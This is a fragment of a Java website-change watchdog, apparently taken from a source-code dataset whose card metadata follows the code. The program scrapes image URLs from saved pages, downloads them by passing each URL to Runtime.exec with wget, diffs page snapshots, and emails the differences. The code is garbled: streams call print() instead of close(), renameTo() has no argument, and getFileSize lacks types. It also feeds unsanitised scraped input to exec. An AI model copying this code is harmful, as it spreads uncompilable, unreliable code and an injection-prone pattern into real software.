         toFile.print();
         toFile = null;
         newFile = null;

      }

      catch(Exception e)
      {
         System.err.println(e.toString());
         System.out.println("File write problem for '" + 
                            strWriteToThisFileName     +
                            "'.");               
      }

   }







   static void createDiffFileIfNeeded(String strFileName1, 
                                      String strFileName2)
   
   {













         
         

         
         
      try
      {

         Process p = Runtime.getRuntime().exec("./diff_files.sh");
         p.waitFor();	

      }

      catch (Exception e)
      {
         System.out.println("Shell script exception");
         System.out.println("----------------------");
         System.err.println(e);
         System.out.println("");
      }

   }







   static void createImageTextFile(String inputFile, String prePend)
   
   {

         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         

      String str;
      String strImage = "";
      String strImageArray[];
      String strInputFromFile = "";
      String strSearchString = "<img src";

      boolean boolContinue = true;

      int intImageCounter  = 0;
      int intStartSearch   = 0;

      char ch;





      strImageArray = new String[1000];



         
         
      try
      {

         BufferedReader file =
              new BufferedReader(new FileReader(inputFile));


         while ( (str = file.readLine()) != null)
         {
            strInputFromFile += str;
         }

         file.print();
         file = null;

      }

      catch (Exception e)
      {
         boolContinue = false;
         System.err.println(e);       
      }	



      if (boolContinue)
      {

         strInputFromFile = (strInputFromFile.toLowerCase()).trim();

         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);


         while (intStartSearch != -1)
         {

            intStartSearch += 8;

            while ( (strInputFromFile.charAt(intStartSearch) == ' ')  ||
                    (strInputFromFile.charAt(intStartSearch) == '=')  ||
                    (strInputFromFile.charAt(intStartSearch) == '\"')   )
            {
               intStartSearch++;          
            }

            while ((strInputFromFile.charAt(intStartSearch) != '\"'))              
            {

               ch = strInputFromFile.charAt(intStartSearch);

               strImage += String.valueOf(ch);
               intStartSearch++;

            }


            if (strImage.startsWith("/"))
               strImage = prePend + strImage;          


            intImageCounter++;
            strImageArray[intImageCounter - 1] = strImage;

            strImage = "";

            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);

         }


         if (inputFile.equals(strWebPageOutputFile01))     
         { 
            writeTextArrayToFile(strImageArray, 
                                 strImageOutputFile01,
                                 intImageCounter);
         }
         else if (inputFile.equals(strWebPageOutputFile02))     
         { 
            writeTextArrayToFile(strImageArray, 
                                 strImageOutputFile02,
                                 intImageCounter);
         }


      }

   }







   static void downloadImages(String ImageOutputFile)
   
   {

      Process p;

      String str;
      String strFileName;



      try      
      {

         BufferedReader file =
                 new BufferedReader(new FileReader(ImageOutputFile));



         while ( (str = file.readLine()) != null)
         {

            strFileName = getImageFileName(str);

            System.out.println("    " + str);
            System.out.println("             file name:  " + strFileName);                                                           


            if (fileExists(strFileName))
               deleteFile(strFileName);


            p = Runtime.getRuntime().exec("wget " + str);
            p.waitFor();	

         }


         file = null;

      }

      catch (Exception e)
      {
         System.err.println("downloadingImages:  " + e);
      }

   }







   static String getImageFileName(String imageFileName)
   
   {

         
         
         

      String strFileName;

      int intFileNameLength     = imageFileName.length();      
      int intStartPosOfFileName = intFileNameLength - 1;




         
         
      while ( (intStartPosOfFileName >= 0) && 
              (imageFileName.charAt(intStartPosOfFileName) != '/') )
      {
         intStartPosOfFileName--; 
      }


      strFileName = imageFileName.substring(intStartPosOfFileName + 1, 
                                            intFileNameLength);


      return strFileName;

   }







   static void writeTextArrayToFile(String strTextArray[],
                                    String strWriteToThisFileName,
                                    int numberOfImages )
   
   {

      boolean boolFirstLineWritten = false;



      try
      {

         File newFile = new File(strWriteToThisFileName);

         if (newFile.exists())
         {
            newFile.delete();
         }


         BufferedWriter toFile =
              new BufferedWriter(new FileWriter(newFile,
                                                false));

         for ( int i = 0 ; i < numberOfImages ; i++ )
         {

            if (boolFirstLineWritten) 
               toFile.newLine();
            else
               boolFirstLineWritten = true;
  

            toFile.write(strTextArray[i]);

         }


         toFile.print();
         toFile = null;
         newFile = null;

      }

      catch(Exception e)
      {
         System.err.println(e.toString());
         System.out.println("File write problem for '" + 
                            strWriteToThisFileName     +
                            "'.");               
      }

   }







   static boolean fileExists(String strFileName)
   
   {

      boolean boolReturnValue;
      File aFile = new File(strFileName);


      if (aFile.exists())
         boolReturnValue = true;
      else
         boolReturnValue = false;
      

      aFile = null;


      return boolReturnValue;

   }







   static void deleteFile(String strFileName)
   
   {


      if (fileExists(strFileName))
      { 
         File aFile = new File(strFileName);

         try
         {
            aFile.delete();
         }

         catch (Exception e)
         {
            System.err.println(e);
         }


         aFile = null;

      }

   }







   static void renameFile(String strFromFileName, String strToFileName)
   
   {


      File from = new File(strFromFileName);
      File to   = new File(strToFileName);


      boolean success = from.renameTo();


      from = null;
      to = null;

   }







   static  getFileSize(String strFileName)
   
   {

       lngReturnValue;



      File file = new File(strFileName);
      
      lngReturnValue = file.length();

      file = null;


      return lngReturnValue;

   }







   static void sendMailWithDetectedChanges()
   
   {

      String str;
      String strInputFromFile = null;



      try 
      { 


         BufferedReader fromFile =
              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));


         while ( (str = fromFile.readLine()) != null)
         {
            strInputFromFile += str;
         }

         fromFile.print();
         fromFile = null;


            
            
            
         SmtpClient smtp = new SmtpClient(); 

            
            
         smtp.from(strFromEmail); 

            
            
         smtp.to(strToEmail); 

            
            
         PrintStream msg = smtp.startMessage(); 

            
            
         msg.println(": " + strToEmail); 

            
            
         msg.println("From: " + strFromEmail); 
         msg.println("Subject: Change in website content\n"); 
         msg.println(strInputFromFile); 

            
            
            
         smtp.closeServer(); 

      } 

      catch (IOException e) 
      {
         System.err.println(e);     
      } 

   }

}
datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 12
Created: 2025-06-11 09:41:41